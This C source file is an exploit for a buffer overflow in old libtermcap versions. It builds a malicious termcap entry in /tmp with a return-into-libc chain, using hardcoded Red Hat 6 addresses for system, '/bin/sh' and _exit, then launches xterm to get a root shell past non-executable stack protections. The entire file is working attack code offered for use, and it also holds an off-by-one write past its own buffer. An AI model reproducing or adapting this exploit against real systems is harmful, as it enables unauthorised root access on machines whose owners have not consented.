#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - http://teso.scene.at/

// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12;  // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"

int main(int argc, char **argv)
{
  char *buf;
  int fd, buflen;

  argv++;

  if (argc>1) // dec,!hex args
    sys = atoi(*(argv++));
  if (argc>2)
    sh = atoi(*(argv++));
  if (argc>3)
    exi = atoi(*(argv++));
  if (argc>4)
    eip = atoi(*(argv++));

  buflen = eip + 20;

  buf = (char *) malloc(buflen);
  memset(buf, 'x', buflen);
  buf[buflen] = 0;

  memcpy(buf, entry, strlen(entry));
  memcpy (buf+buflen-4,":\\y",3);

  memcpy(buf+eip,&sys,4);
  memcpy(buf+eip+4,&exi,4);
  memcpy(buf+eip+8,&sh,4);
  memcpy(buf+eip+12,&ran,4);

  if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0)
    {
      perror("cannot create file");
      exit(EXIT_FAILURE);
    }

  write(fd,buf,buflen);
  close(fd);
  free(buf);

  setenv("TERMCAP", fil, 1);
  execl(xte, "xterm", NULL);
  exit(EXIT_SUCCESS);
}